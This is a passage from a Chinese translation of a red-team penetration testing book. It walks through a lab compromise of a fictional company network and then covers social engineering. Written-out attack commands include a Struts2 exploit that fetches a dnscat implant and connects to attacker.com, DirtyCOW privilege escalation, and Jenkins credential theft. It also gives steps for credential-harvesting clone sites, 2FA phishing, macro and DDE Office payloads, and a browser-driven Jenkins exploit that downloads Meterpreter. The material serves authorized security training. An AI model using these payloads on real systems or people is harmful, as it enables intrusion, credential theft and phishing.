172.16.250.2\nnetmask= 255.255.255.0\n重启服务。 \nsudo/Applications/VMware\\Fusion.app/Contents/Library/services/services.sh --stop\nsudo/Applications/VMware\\Fusion.app/Contents/Library/services/services.sh --start\n现在，您以NAT模式启动THP Kali虚拟机，获得172.16.250.0/24范围内的动态IP地址。如果您愿意，则可以同时启动所有其他3个实验室设备，开启“黑客”征程。\n攻击CSK安全网络\n您最终已经从Windows环境迁移到安全的生产网络。根据所有的调查和研究数据，您知道所有的秘密都存储在这里。这是受保护较多的网络之一，我们知道其安全基础设施已经进行了隔离。从他们的文档来看，有多个虚拟局域网需要突破，设备之间需要迁移，从而进入数据库。这就是您“训练”过的一切……\n迁移到安全网络区域的外部，您看到这个网络配置为172.16.250.0/24。由于对这个网络知之甚少，因此首先要开始进行一些非常轻量级的Nmap扫描。您需要了解从网络外部可以访问这个网络的哪些系统，从而确定如何开始攻击。\n扫描安全网络：\nnmap 172.16.250.0/24\n您注意到有3个设备正在运行，但只有一个设备开启了网站端口。看起来其他两个设备是与安全网络的外部网络隔离的，这意味着我们必须先突破172.16.250.10设备，才能迁移进入其他两个服务器。访问第一个设备（172.16.250.10），您会看到Apache Tomcat正在监听端口8080，而某些openCMS正在端口80上运行。运行网站模糊测试工具，您注意到openCMS页面也在运行Apache Struts2（/struts2-showcase），如图4.49所示。瞬间，Equifax漏洞的闪回就像砖块一样击中您。您或许认为这太走运了，但无论如何您必须进行尝试。您在msfconsole上运行快速搜索，测试漏洞“struts2_content_ type_ognl”。\n图4.49\n我们知道CSK会严密监控其受保护的网络流量，其内部服务器可能无法直接访问公司的网络。为了解决这个问题，我们使用DNS 命令和控制静荷，协议采用UDP而不是TCP。当然，在真实情况下，我们可能会使用权威的DNS服务器，但是在实验室，我们选择自己的DNS服务器。\n[THP Kali虚拟机]\nTHP Kali自定义虚拟机提供所有工具，实现此次攻击，如图4.50所示。\n图4.50\n由于我们需要在网站服务器上托管静荷，因此Metasploit静荷能够获取dnscat恶意软件。在dnscat2客户端文件夹中是dnscat二进制文件。 \ncd /opt/dnscat2/client/\npython -m SimpleHTTPServer 80\n启动dnscat服务器。 \ncd /opt/dnscat2/server/\nruby ./dnscat2.rb\n记录dnscat密钥。\n打开新的终端，加载Metasploit。 \nmsfconsole\n搜索struts2，加载struts2漏洞工具。 \nsearch struts2\nuse exploit/multi/http/struts2_content_type_ognl\n配置struts2 漏洞，获取dnscat静荷并在被攻击者服务器上执行。确保在这之前，更新您的IP地址和密钥，如图4.51所示。 \nset RHOST 172.16.250.10\nset RPORT 80\nset TARGETURI struts2-showcase/showcase.action\nset PAYLOAD cmd/unix/generic\nset CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod +x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret=<Your Secret Key>\nrun\n图4.51\n静荷执行后，在Metasploit中您将无法获得任何类型的确认，因为使用了dnscat静荷。您将需要检查dnscat服务器，查看DNS流量的连接。\n回到dnscat2服务器，检查新执行的静荷，并创建Shell终端，如图4.52所示。 \n与您的第一个静荷交互\nwindow -i 1\n复制Shell进程\nshell\n使用键盘按键返回主菜单\nCtrl+ Z\n与新Shell进行交互\nwindow -i 2\n输入Shell命令\nls\n图4.52\n您已经突破了OpenCMS/Apache Struts服务器！现在怎么办？您花了一些时间了解服务器，查找各种“秘密”。您记得服务器正在运行OpenCMS网站应用程序，并确定该应用程序是在/opt/tomcat/webapps/kittens下配置的。在查看OpenCMS属性的配置文件时，我们找到了数据库、用户名、密码和IP地址172.16.250.10。\n检索数据库信息，如图4.53所示。\ncat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties\n图4.53\n我们连接到数据库，但并没有发现太多有用的信息。问题是我们目前是一个受限的Tomcat用户，这实际上阻碍了进一步的攻击。因此，我们需要找到提升权限的方法。在服务器上运行后漏洞侦察工具（uname -a && lsb_release -a），您发现这是一个非常古老的Ubuntu版本。但是，这个服务器存在DirtyCOW权限提升漏洞。我们创建一个DirtyCOW二进制文件并获取root权限！\n通过dnscat进行权限提升，如图4.54所示。\n下载并编译DirtyCOW工具。 \ncd /tmp\nwget http://bit.ly/2vdh2Ub -O dirtycow-mem.c\ngcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread\n./dirtycow-mem\n尝试DirtyCOW漏洞工具，在内核恐慌时，允许重启。 \necho 0 >/proc/sys/vm/dirty_writeback_centisecs\necho 1 >/proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops&& echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn\nwhoami。\n图4.54\n注意：DirtyCOW漏洞用于权限提升并不是很稳定。如果漏洞利用存在一些问题，可查看我的GitHub页面，了解更稳定的创建setuid二进制文件的方法。\n如果仍然存在问题，另一个选择是通过SSH工具登录第一个服务器，并以root身份执行dnscat静荷。登录时，可使用凭证hacker/changeme和sudo su - root。\n现在，由于主机系统没有打补丁，因此您已成为系统的root用户。当您再次登录设备，并查找秘密信息时，您会看到root的bash历史文件。在此文件中，您可以找到SSH命令和私有SSH密钥引用。我们可以使用此SSH密钥，登录到我们的第二个设备172.16.250.30，如图4.55所示。\ncat ~/.bash_history\nhead ~/.ssh/id_rsa\nssh -i ~/.ssh/id_rsa root@172.16.250.30\n图4.55\n您花了一些时间在第二个设备上，并尝试了解它的用途。在搜索时，您会注意到/home目录中有一个Jenkins用户，这会导致您识别在端口8080上运行Jenkins服务。我们如何使用浏览器查看Jenkins服务器上的内容？在这里，dnscat的端口转发功能发挥了作用。我们需要退出最初的Shell，切换到命令终端。从那里，我们需要设置一个监听器，以便通过dnscat将流量从攻击者主机经过8080端口转发到Jenkins设备（172.16.250.30）。\n执行dnscat端口转发，如图4.56所示。\n退出我们当前的Shell。 \nCtrl + Z\n返回我们的第一个命令代理并设置一个监听/端口转发。 \nwindow -i 1\nlisten 127.0.0.1:8080 172.16.250.30:8080\n在您的THP Kali虚拟机上，通过浏览器和端口转发协议（使用DNS协议，速度非常慢）。 \nhttp://127.0.0.1:8080/jenkins\n图4.56\n在Jenkins应用程序的凭证管理器内部，我们将看到db_backup用户密码已经存储，但是无法访问，如图 4.57 所示。我们需要找出一种方法，获取 Jenkins 的凭证，从而可以继续横向移动。\n图4.57\nn00py在Jenkins凭证存储和提取方面做了一些研究。我们可以在此基础上，使用现有的Shell获取credentials.xml、master.key和hudson.util.Secret文件。\n返回dnscat中的主菜单并与原始Shell进行交互。 \nCtrl + Z\nwindow -i 2\n转到Jenkins的主目录，获取3个文件：credentials.xml、master.key和hudson.util.Secret。 \ncd /home/Jenkins\n我们尝试下载这3个文件，或者采用base64编码从当前Shell复制。 \nbase64 credentials.xml\nbase64 secrets/hudson.util.Secret\nbase64 secrets/master.key\n可以将base64输出复制到Kali虚拟机中，解码它们，恢复db_backup用户的密码。 \ncd /opt/jenkins-decrypt\necho \"<base64 hudson.util.Secret>\" | base64 --decode >hudson.util.Secret\necho \"<base64 master.key >\" | base64 --decode > master.key\necho \"<base64 credentials.xml >\" | base64 --decode >credentials.xml\n破解密码，如图4.58所示。 \npython3 ./decrypt.py master.key hudson.util.Secret credentials.xml\n图4.58\n我们成功破解了db_backup用户的密码“)uDvra {4UL ^; r?* h”。如果我们回顾一下之前的提示，可以在OpenCMS属性文件中发现数据库服务器位于172.16.250.50。出于某种原因，这个Jenkins服务器看起来对数据库服务器执行了某种备份。让我们检查一下是否可以基于db_backup的凭证：}uDvra {4UL ^; r?* h，使用SSH工具登录数据库服务器。唯一的问题是通过dnscat shell，我们没有直接按标准输入（STDIN），实现SSH的密码交互输入。因此，我们需要再次使用端口转发，将我们的SSH Shell从THP Kali VM，通过dnscat代理转到数据库服务器（172.16.250.50）。\n返回命令Shell。 \nCtrl + Z\nwindow -i 1\n创建一个新的端口转发通道，从本地转到172.16.250.50的数据库服务器，如图4.59所示。 \nlisten 127.0.0.1:2222 172.16.250.50:22\n一旦使用db_backup账户进入数据库服务器（172.16.250.50），我们就会注意到此账户是超级管理员之一，并且可以利用sudo su命令进入root。一旦以root权限登录数据库服务器，我们四处寻找，但找不到任何访问数据库的凭证。我们可以重置root数据库密码，但最终可能会影响其他一些应用程序的使用。我们在/var/lib/mysql 下搜索到其他的数据库，并找到一个cyberspacekittens数据库。在这里，我们找到了secrets.ibd文件，它包括密码列表的所有数据，如图4.60所示。在阅读数据时，我们意识到它可能是加密的。\n图4.59\n图4.60\n至此，您已成功入侵CSK公司网络。\n不要停在这里，您可以用这些设备做很多事情，我们只介绍了很少的内容。您可以随意在这些系统上操作，查找更多的敏感文件，找出其他权限升级方式等。作为参考，本实验的环境拓扑如图4.61所示。\n图4.61\n4.14 结论\n在本章中，我们实现了网络突破。最开始的时候，在网络上没有凭证，通过社会工程的方式进入第一个被攻击者设备中。从那里，我们开始获取有关网络/系统的信息，在设备中迁移、提升权限，并最终突破整个网络。为了完成这一切，我们尽可能地减少扫描次数，使用网络自身的功能，并尽量规避各种安全工具的检测。\n第5章 助攻——社会工程学\n5.1 开展社会工程（SE）行动\n作为红队，我们喜欢采用社会工程（SE）攻击方式，不仅仅是因为通常对技术要求较低，更因为能够以非常低的成本成功实施高价值的行动。通常只需设置几个虚假域名、服务器，以及伪造几封电子邮件，随意丢弃一些USB记忆棒，便能在一天内取得效果。\n在指标方面，我们了解了一些显而易见的事情，例如发送的电子邮件数量，单击链接的用户数量以及输入密码的用户数量。我们也努力发挥创造力，为雇用我们的公司带来实质性价值。这方面的一个例子是DefCon的社会工程竞赛，参赛的选手拨打中心和员工的电话。您可能不熟悉这个比赛，在比赛中，参赛的选手要在有限的时间找到指定公司的一些“旗帜”。“旗帜”需要通过获取公司信息夺得（例如虚拟专用网络、他们使用的杀毒软件类型、员工的具体信息或者让员工访问URL等）。如果您想了解竞赛中使用的所有“旗帜”，那么可查看2017年的比赛报告。这些类型攻击的目的是通过培训员工发现恶意行为并报告给团队，帮助公司提高内部安全意识。\n在本章中，我们将简单介绍一下在行动中使用的一些工具和技术。对于社会工程类的攻击，没有正确或错误的答案。本书认为，只要攻击取得效果，就达到预期目标了。\n5.1.1 近似域名\n我们在本书第2版中讨论了近似域名的话题。近似域名或者丢弃恶意软件仍然是获得最初凭证的一个有效方法。比较常见的方法是购买与目标公司非常相似的网址，或者容易输入错误的公司网址。\n本书第2版有一个例子，如果攻击mail.cyberspacekittens.com网址，那么我们就会购买网址mailcyberspacekittens.com，并设置一个虚假的Outlook页面来捕获凭证。当被攻击者访问假网站并输入密码时，我们搜集这些数据，并将其重定向到公司的有效电子邮件服务器（mail.cyberspacekittens.com）。上述做法留给他们的印象是他们第一次意外地错误输入了密码，因此需要再次进行登录。\n这种攻击的优势在于您不必进行任何网络钓鱼。有些人会输入错误或忘记“mail”和“cyberspacekittens”之间的点，然后输入他们的凭证。我们为被攻击者添加书签，这样被攻击者每天都会访问这个网站。\n5.1.2 如何复制身份验证页面\n一个较好的快速复制Web应用程序身份验证页面的工具是TrustedSec的社会工程工具包（SET）。这是社会工程行动的标准工具，其中获取凭证是优先事项。设置SET工具的步骤如下。\n配置SET工具使用Apache（与默认Python相比）。 \n将配置文件修改为以下内容\ngedit /etc/setoolkit/set.config\nAPACHE_SERVER= ON\nAPACHE_DIRECTORY= / var / www / html\nHARVESTER_LOG= / var / www / html\n启动社会工程工具包（SET）。 \ncd / opt / social-engineer-toolkit\nsetoolkit\n网络钓鱼攻击向量。\n网站攻击向量。\n凭证获取攻击方法。\n网站复制。\n攻击者服务器的IP。\n要复制的网站。\n打开浏览器，转到攻击者服务器并进行测试。\n所有文件存储在/var /www /html下，密码存放在harvester*下。在社会工程行动中复制页面的一些最佳做法如下。\n将Apache服务器迁移，使用SSL协议运行。\n将所有图像和资源放在本地（而不是从复制的站点调用）。\n就个人而言，我喜欢用我的公共pgp密钥存储所有记录的密码。这样做时，如果服务器被突破，则没有私钥就无法恢复密码。这可以通过PHP gnupg_encrypt和gnupg_decrypt来实现。\n5.1.3 双因子凭证\n我们看到更多客户使用双因子身份验证（2FA）。虽然双因子身份验证对红队来说是一个巨大的考验，但是并非不可绕过。从过去的经验来说，我们必须创建自定义页面，处理双因子认证，但现在有了ReelPhish工具。FireEye开发的ReelPhish工具允许红队利用Selenium和Chrome自动触发双因子认证，条件是被攻击者在诱骗页面上输入凭证。\n复制需要双因子身份验证的被攻击者站点。\n在自己的攻击设备中，分析登录真实站点的流量。就我而言，我打开Burp Suite，截获鉴权所需的post参数。\n修改复制站点，使用ReelPhish。访问/examplesitecode/samplecode.php并输入身份验证所需的所有必要参数。\n被攻击者进入复制网站并进行身份验证。\n凭证被回送给攻击者。\nReelPhish将向真实的网站提交身份验证，触发双因子认证。\n被攻击者接收双因子认证码或者电话推送。\n被攻击者重定向到真实站点再次登录（他们认为在初次认证时失败）。\n如图5.1所示，我们绕过双因子认证，获得鉴权会话。尽管看起来这个工具支持Linux，但我在Kali中运行时遇到了一些问题。因此，首先在Windows中运行。\n图5.1\n关于双因子认证的身份认证，我想提到的一件事是确保在获得凭证后，核实所有不同的身份验证方法。我的意思是他们可能使用双因子认证，用于网站的身份验证，但对于API、旧胖客户端或所有应用程序端点，可能不需要双因子认证。我们已经看到许多应用程序在公共端点上需要双因子认证，但在应用程序的其他部分不使用双因子认证，缺乏安全保护。\n5.2 网络钓鱼\n红队取得巨大“成功”的另一项技术是传统的网络钓鱼。网络钓鱼的成功关键在于恐惧、紧迫性或者听起来好得令人难以置信的事情。恐惧和紧迫性确实发挥了作用，我相信很多读者以前都经历过这种情况。恐惧和紧迫性类型攻击包括以下一些情况。\n欺诈性购买的虚假电子邮件。\n有人入侵了您的电子邮件。\n有关税务欺诈的电子邮件。\n对于这些一般性攻击，我们注意到公司员工变得越来越聪明。通常采用基本的网络钓鱼攻击，每10封电子邮件中至少有1封邮件被上报。在某些情况下数量要更多。持续监控这些简单的网络钓鱼攻击，确保公司是否能够更好地应对这些情况，对于红队来说是非常有价值的。\n对于那些寻求更多自动化攻击的人来说，可能更愿意选择Gophish，因为它很容易设置和维护，支持模板和HTML，并跟踪/记录您需要的一切。如果您是Ruby的爱好者，那么有Phishing Frenzy；对于Python，有King Phisher。\n这些自动化工具非常适合记录简单的网络钓鱼行为。对于目标开展行动，我们更多地采用手动的方法。例如，如果我们通过侦察，获得被攻击者的邮件记录，确认客户使用Office 365，那么我们就需要弄清楚，如何使用该信息构建一个非常逼真的行动。此外，我们会尝试查找该公司泄露的任何电子邮件、可能正在运行的程序、新功能、系统升级、合并以及有用的任何其他信息。\n有时我们还会开展更有针对性的行动。在这些行动中，我们尝试使用所有开源工具来搜索有关人员、资产、家庭等相关的信息。例如，如果针对高管，我们会在pipl.com上搜索他们的资料，并伪造一封来自学校的电子邮件，告诉他们需要打开这个Word文档。这些操作可能会花费相当长的时间，但成功率却很高。\n5.2.1 Microsoft Word/Excel宏文件\n一种较早出现但经过实践检验的社会工程方法是向被攻击者发送恶意的Microsoft Office文件。为什么Office文件非常适合恶意静荷？因为在默认情况下，Office文件支持Visual Basic for Applications（VBA），允许代码执行。尽管最近这种方法已经很容易被杀毒软件检测到，但使用混淆方法后，在许多情况下仍然非常有效。\n通常，我们可以使用Empire或Unicorn创建VBA宏。\n（1）使用Empire。\n选择Macro Stager。 \nusestager windows/macro\n确保进行正确的设置。 \ninfo\n创建宏。 \ngenerate\n（2）如果您想为Meterpreter创建静荷，那么可以使用像Unicorn这样的工具。\ncd/opt/unicorn。\n./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro。\n启动Metasploit监听程序。 \nmsfconsole-r./unicorn.rc\n载荷生成后如图5.2所示。\n图5.2\n如您所见，上面示例中运行的是一个简单的PowerShell base64混淆脚本。这可以绕过一些杀毒软件产品，重要的是，确保在进行实际的行动之前，对其进行测试。在生成宏后，您可以快速创建一个Excel文档，如图5.3所示。\n图5.3\n打开Excel。\n转到“视图”选项卡→“宏”→“查看宏”。\n添加宏名称，为book1配置宏，然后单击“创建”按钮。\n用生成的代码替换所有当前的宏代码，如图5.4所示。\n另存为.xls（Word 97—Word 2003）格式或Excel宏启用。\n图5.4\n现在，当用户打开您的文档时，他们都会收到安全警告和启用内容的按钮，如图5.5所示。如果您可以欺骗被攻击者单击“Enable Content”（启用内容）按钮，PowerShell脚本将会执行，从而获得Empire Shell。\n图5.5\n如前所述，由于Macro方法是一种出现很久的攻击方法，因此许多被攻击者可能已经开始提防这种攻击。我们可以使用Office文件的另一个攻击方法，将静荷嵌入批处理文件（.bat）。在较新版本的Office中，如果被攻击者双击Word文档中的.bat文件，则不会执行对象。我们通常要“欺骗”他们，将.bat文件移动到桌面并执行，如图5.6所示。\n图5.6\n我们可以使用LuckyStrike以更自动化的方式完成此操作。使用LuckyStrike，我们可以在工作表中使用静荷创建Excel文档，甚至可以在Excel文档中存储完整的可执行文件（EXE），EXE文件可以使用ReflectivePE在内存中运行。\n我介绍的Office文件可执行文件的最后一个工具是VBad。在运行VBad时，必须在Office中启用宏，并在宏安全设置中选中“信任对VBA项目对象模型的访问”复选框。这允许VBad Python代码更改并创建宏。\nVBad对MS Office文档中的静荷做了深层次的混淆处理，如图5.7所示。VBad还增加了加密功能，采用假密钥方式迷惑了应急响应团队，最重要的是，它可以在第一次成功运行后破坏加密密钥（一次性恶意软件）。VBad的另一个特性是还可以删除静荷模块的引用，这样VBA 开发工具无法查看静荷，这使得分析和调试变得更加困难。因此，不仅逆向分析很难完成，而且如果应急响应团队尝试分析执行的Word文档与原始文档，那么所有密钥都将丢失。\n图5.7\n5.2.2 非宏Office文件——DDE\n红队攻击的一个特点是，有时候时间点非常重要。在我们的一次评估中，首次发现了一个名为DDE的全新漏洞。任何杀毒软件或安全产品尚未检测到它，因此这是我们获得初始入口点的“好”方法。虽然现在有几种安全产品可以检测DDE，但在某些环境中它仍然可能是一种可行的攻击方式。\n什么是DDE\nWindows提供了几种在应用程序之间传输数据的方法，其中一种方法是使用动态数据交换（DDE）协议。DDE协议定义消息的格式和规则。DDE协议在共享数据的应用程序之间发送消息，并使用共享内存交换应用程序之间的数据。应用程序可以使用DDE协议进行一次性数据传输和持续的数据传输。\nSensepost团队做了一些研究，发现MS Excel和MS Word公开DDE执行接口，无须使用宏，可以执行代码，如图5.8所示。\n图5.8\n在Word中执行以下操作。\n选择“插入”选项卡→“快速部分”→“字段”。\n选择“公式”。\n右键单击：！意外的公式结束并选择切换域代码。\n将静荷更改为您的静荷。 \nDDEAUTO c:\\windows\\system32\\cmd.exe \"/k powershell.exe [empire payload here]\"\nEmpire有一个stager，它将自动创建Word文件和关联的PowerShell脚本，如图5.9所示。这个stager可以通过以下方式配置。\n图5.9\nusestager windows / macroless_msword。\n有一种攻击会导致被攻击者向互联网上的攻击者服务器发出SMB请求，从而可以搜集被攻击者的NTLM鉴权散列值。这可能有效，也可能无效，因为现在大多数公司阻止SMB相关端口外联。对于那些无效的被攻击者，我们可以利用错误配置，实施subdoc_inector攻击。\n5.2.3 隐藏的加密静荷\n作为红队，我们一直在寻找创造性方法，构建目标网页，加密静荷，并诱使用户单击运行。两个具有类似处理流程的不同工具是EmbededInHTML和demiguise。\n第一个工具EmbededInHTML首先获取文件（任何类型的文件），加密文件，并将其作为资源嵌入HTML文件中，以及自动下载程序（用于响应用户单击嵌入资源），然后，当用户浏览HTML文件时，嵌入式文件即时解密，保存在临时文件夹中，接着将文件呈现给用户，就像从远程站点下载一样，这具体取决于用户的浏览器和显示的文件类型，该文件可以由浏览器自动打开，如图5.10所示。\ncd /op/EmbedInHTML。\npython embedInHTML.py -k keypasshere -f meterpreter.xll –o index.html –w。\n一旦被攻击者访问恶意站点，弹出窗口就会提示被攻击者Excel正打开.xll文件。注意，对于最新版本的Excel（除非配置错误），用户需要启用加载项来执行静荷。此时是您的社会工程技巧发挥作用的时候了。\n图5.10\n第二个工具demiguise生成包含加密的HTA文件的.html文件。思路是当被攻击者访问页面时，页面获取密钥，在浏览器中动态解密HTA，并直接呈现给用户。这是一种规避检测技术，绕过某些安全设备的内容/文件类型检查的方法。这个工具不是为了创建出色的HTA内容而设计的，还有其他工具/技术可以帮助您完成此操作。这个工具的用途在于帮助HTA首先进入一个环境，避免被沙箱分析（如果您使用环境密钥）。\npython demiguise.py -k hello –c \"cmd.exe/c <powershell_command_here>\" - p Outlook. Application -o test.hta。\n5.3 内部Jenkins漏洞和社会工程攻击结合\n作为红队，攻击的创造性总是令我们非常兴奋。我们喜欢利用旧的漏洞并再次使它们“焕然一新”。例如，如果您一直在执行网络评估，就会知道，如果遇到无须身份验证的Jenkins应用程序（开发人员大量使用它进行持续集成），这几乎意味着完全突破。\n这是因为它具有允许Groovy脚本执行测试的“特性”。利用这个脚本控制台，我们可以使用Shell执行命令，访问底层系统，如图5.11所示。\n这种方法在突破方面变得如此受“欢迎”的原因是，几乎每家大公司都有使用Jenkins案例。外部攻击的问题是这些Jenkins服务都是内部托管的，无法从外部访问。\n图5.11\n我们如何远程执行这些服务器上的代码？在回答这个问题之前，我告诉团队退后一步，用Jenkins构建一个仿真网络进行测试。一旦我们很好地理解了代码执行请求的功能，就可以构建适当的工具，实现远程执行代码。\n在测试环境中，我们通过使用JavaScript和WebRTC（网站实时通信）的多个步骤解决了这个问题。首先，一个组织的被攻击者，访问公共网站（攻击者控制）或存储XSS静荷的页面。被攻击者访问公共网站，攻击者将在其浏览器上执行JavaScript，运行恶意静荷。静荷会利用Chrome/Firefox“功能”，允许WebRTC公开被攻击者的内部IP。通过内部IP，我们可以推断被攻击者主机的本地子网，了解其公司的IP范围。现在，攻击者可以使用定制的Jenkins攻击程序，通过默认端口8080扫描网络范围内的每个IP地址（代码只扫描本地“/24”子网，但在真实的行动中，扫描范围要大得多）。\n接下来的问题是，我们使用什么静荷？如果使用过Jenkins控制台Shell，就会知道漏洞对于静荷比较“挑剔”。使用复杂的PowerShell静荷可能会很困难。为了解决这个问题，我们在本书中创建了一个名为“generateJenkinsExploit.py”的工具，该工具加密二进制文件，构建恶意攻击JavaScript页面。当被攻击者访问恶意网页时，它获取其内部IP地址，并开始将漏洞利用工具发送到“/24”范围内的所有服务器。当找到存在漏洞的Jenkins服务器时，首先运行一个Groovy脚本静荷，从互联网上获取加密的二进制文件，将其解密到C:\\Users\\Public\\RT.exe目录中，执行Meterpreter二进制文件（RT.exe）。\n从理论上来讲，这与服务器端请求伪造（SSRF）非常相似，我们强迫被攻击者的浏览器重新启动内部IP的连接，如图5.12所示。\n图5.12\n被攻击者访问存储XSS或恶意JavaScript页面。\n被攻击者的浏览器执行JavaScript / WebRTC，获取内部IP，使用Groovy POST静荷，扫描本地内部网络。\n在找到存在漏洞的Jenkins服务器后，Groovy代码通知Jenkins服务器，从攻击者的服务器获取加密的静荷，然后解密并执行二进制文件。\n在这种情况下，下载的加密可执行文件是Meterpreter静荷。\n在Jenkins服务器上执行Meterpreter，然后连接到攻击者的Meterpreter服务器。\n注意：\n最新版本的Jenkins中已不存在此漏洞。Jenkins 2.x之前的版本未启用CSRF保护（允许盲调用脚本）以及身份验证机制，在默认情况下是存在漏洞的。\n完整的Jenkins漏洞实验室如下。\n我们将构建一个Jenkins Windows服务器，用于重复开展攻击测试。\n在本地网络上安装具有桥接接口的Windows虚拟机。\n在Windows系统中，下载并安装Java的JDK 8。\n下载Jenkins War文件。 \nhttp://nurrors.jenkims.io/war-stable/1.651.2/\n启动Jenkins。 \njava -jar jenkins.war\n浏览Jenkins。 \nhttp://<Jenkins_IP>:8080/\n测试Groovy脚本控制台。 \nhttp://<Jenkins_IP>:8080/script\n在THP Kali 虚拟机上对Jenkins实施漏洞攻击，如图5.13所示。\n图5.13\n下载THP Jenkins漏洞利用工具（http://bit.ly/2IUG8cs）。\n进行实验，首先创建Meterpreter静荷。 \nmsfvenom -p windows/meterpreter/reverse_https LHOST = <attacker_IP> LPORT = 8080 -f exe> badware.exe\n加密Meterpreter二进制文件。 \ncd/opt/generateJenkinsExploit\npython3 ./generateJenkinsExploit.py -e badware.exe\n创建名为badware.html的恶意JavaScript页面。 \npython3./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted> badware.html\n将加密的二进制和恶意JavaScript页面都移动到Web目录。 \nmv badware.html/var/www/html/\nmv badware.exe.encrypted/var/www/html/\n现在，在完全不同的系统中，使用Chrome或Firefox访问攻击者网页http://<attacker_IP>/ badware.html，如图5.14所示。只需访问该恶意页面，被攻击者的浏览器就会加载Groovy静荷，使用JavaScript和POST请求，通过端口8080，对被攻击者的内部“/24”网络地址进行扫描攻击。当找到Jenkins服务器时，Groovy脚本通知该服务器，下载加密的Meterpreter，解密并执行。在企业网络中，被攻击者最终可能获得大量的Shell。\n图5.14\nJenkins只是您可以实施攻击的一种方法，而且无须身份验证即可实现代码执行，支持GET或POST的任何应用程序都适用这个场景。在这里，您需要确定被攻击者在内部网络使用哪些应用程序，从而定制恶意攻击的方式。\n5.4 结论\n由于人存在恐惧、紧迫轻易和信任的弱点，因此，通过这些弱点我们可以创建一些攻击行动，这些行动在系统突破方面具有很高的成功率。\n在方法和目标方面，我们不能仅依赖网络钓鱼/电子邮件的被动攻击方式，还要积极地寻找主动攻击的方式。\n第6章 短传——物理访问攻击\n作为安全评估的一部分，CSK公司要求您的团队对设施进行物理访问安全评估。这需要检查相关安全防护措施是否充分，假定发生某事，验证警卫的反应及其响应时间。\n在进行任何物理安全评估之前，请务必查看相关的法律。例如，在某些地区，仅仅使用开锁工具就可能被视为非法行为。因为我不是律师，所以您最好先咨询一下。此外，请确保您获得适当的批准，与公司的物理安全团队合作，一旦您被“抓”时，可以提供免责协议。在实际评估前，与物理安全团队讨论如果安全警卫抓到您，您是否可以逃跑或您是否必须停车，以及是否有人监视无线电。此外，因为您的团队进行的是物理访问安全评估，所以确保警卫不会发生与当地执法部门联系“这样的误会”。\n现在，是时候进入CSK公司的“秘密”设施了。根据网站，它看起来像是位于299792458 Light D。通过侦察，我们注意到这个设施是封闭的，并且有一个或两个守卫。我们确定多个入口点，以及可能越过围栏的区域。通过初步演练，我们还确定了一些摄像头、大门、入口点和读卡器系统。\n6.1 复制读卡器\n由于在本书第2版中详细介绍了如何复制读卡器，因此这里我主要更新相关内容。在大多数情况下，HID设备不需要任何公开/私有握手协议，存在复制和暴力破解ID号的漏洞。\n在本书第2版中，我们介绍了如何复制ProxCard II卡，因为它们没有任何保护，可以轻松复制，并且经常是分批大量购买，导致可以轻松暴力破解ID。上述破解都是使用Proxmark3设备完成的。从那时起，该设备的便携版本已经发布，名为Proxmark3 RDV2 Kit。这个版本配置电池，比最初Proxmark3小得多，如图6.1所示。\n图6.1\n常见如下的其他卡片。\nHID iClass（13.56 MHz）。\nHID ProxCard（125 kHz）。\nEM4100x（125 kHz）。\nMIFARE Classic（13.56 MHz）。\n6.2 绕过进入点的物理工具\n我们不会涉及物理工具和方法，因为这方面的内容需要写一本完整的书，而且需要大量的经验。与往常一样，进行物理安全评估的最好方法是实践，建立物理实验室，并找出哪些工具有效、哪些无效。我们使用过一些非常有效的工具。\n开锁——SouthOrd一直是我们开锁的首选。该工具质量很好，效果也不错。\n门旁路设备——用于绕过加锁门的工具。\nShove-it工具——一种简单的工具，用于门和锁之间有足够的空间的情况。类似于信用卡刷卡打开门，您可以使用推动工具进入柱塞后面并向后拉。\nUnder the Door 2.0——具有杠杆手柄的开门工具。我们可以将Under the Door工具直接放到门下，缠绕杠杆手柄，然后向下拉。过去，酒店中经常使用这些工具，但我们确定在其他商业场合也见到过。\n空气罐——一种便宜且简单的工具，可以通过内部的运动传感器解锁门。\n请记住，这些工具和物理评估的目的是跟踪和了解公司的物理安全预案如何响应。因此，我们的工作是确保不仅记录系统存在的缺陷，而且要评估响应时间和事件处理是否合理。\nLAN Turtle\nLAN Turtle工具是我经常使用的Hak5工具之一。在本书之前的版本中，我们已经研究了Raspberry Pi和ODROID小尺寸的投放箱。在这些设备上运行Kali Linux，设备通过SSH或VPN回连到我们的攻击者主机，这是一种物理渗透测试的好方法。\n多年来，这些投放箱在不断发展。现在，LAN Turtle可以隐藏在任何机器后面，由USB供电，对用户是透明的。LAN Turtle作为NIC卡，使用USB接口，通过以太网电缆代理所有流量。\n还有3G手机版，但是我们不会在这里展示。\n下面介绍如何设置LAN Turtle。\nLAN Turtle如图6.2所示，研制的目的是更换之前的投放箱。虽然它有很多其他功能，如autossh、DNS欺骗、Meterpreter、Ptunnel、script2email、urlsnarf和Responder等，但是红队使用它的主要用途是访问网络。\n从过去的经验来看，甚至在本书之前的版本中，我们都使用了反向SSH Shell。通常这样已经满足需要了，但是对于深入的扫描/复杂攻击，我们需要完全访问网络。为此，我们将配置反向VPN连接。反向VPN连接是什么样的？\n好吧，LAN Turtle通常被丢在组织内部一个台式机的后面，我们将无法直接连接到它。因此，LAN Turtle首先通过端口443回连到我们的OpenVPN AS服务器。攻击者Kali设备同样也登录VPN服务器。一旦LAN Turtle和攻击者设备都连接到VPN服务器，我们就可以通过LAN Turtle重定向流量，扫描和突破目标网络，如图6.3所示。\n图6.2\n图6.3\n虽然OpenVPN反向隧道不是新的技术，但是Hak5的团队确实做得非常好，并提供了教程。我需要修改以下部分命令。\n有以下3个主要部分来完成这项操作。\n我们在互联网上搭建一个OpenVPN AS服务器。\n我们需要配置LAN Turtle。\n我们需要配置攻击者机器。\n下面介绍如何搭建VPS OpenVPN AS服务器。\n（1）确保VPN服务器提供互联网服务。我们通常习惯在VPS服务器上托管VPN服务器，因为易于快速搭建。注意，需要联系VPS提供商，确保允许进行某些操作。\n（2）人们经常使用的两个VPS提供商是Linode和Amazon Lightsail。这两个服务商的VPS快速、便宜且易于设置。在这里，我们使用AWS 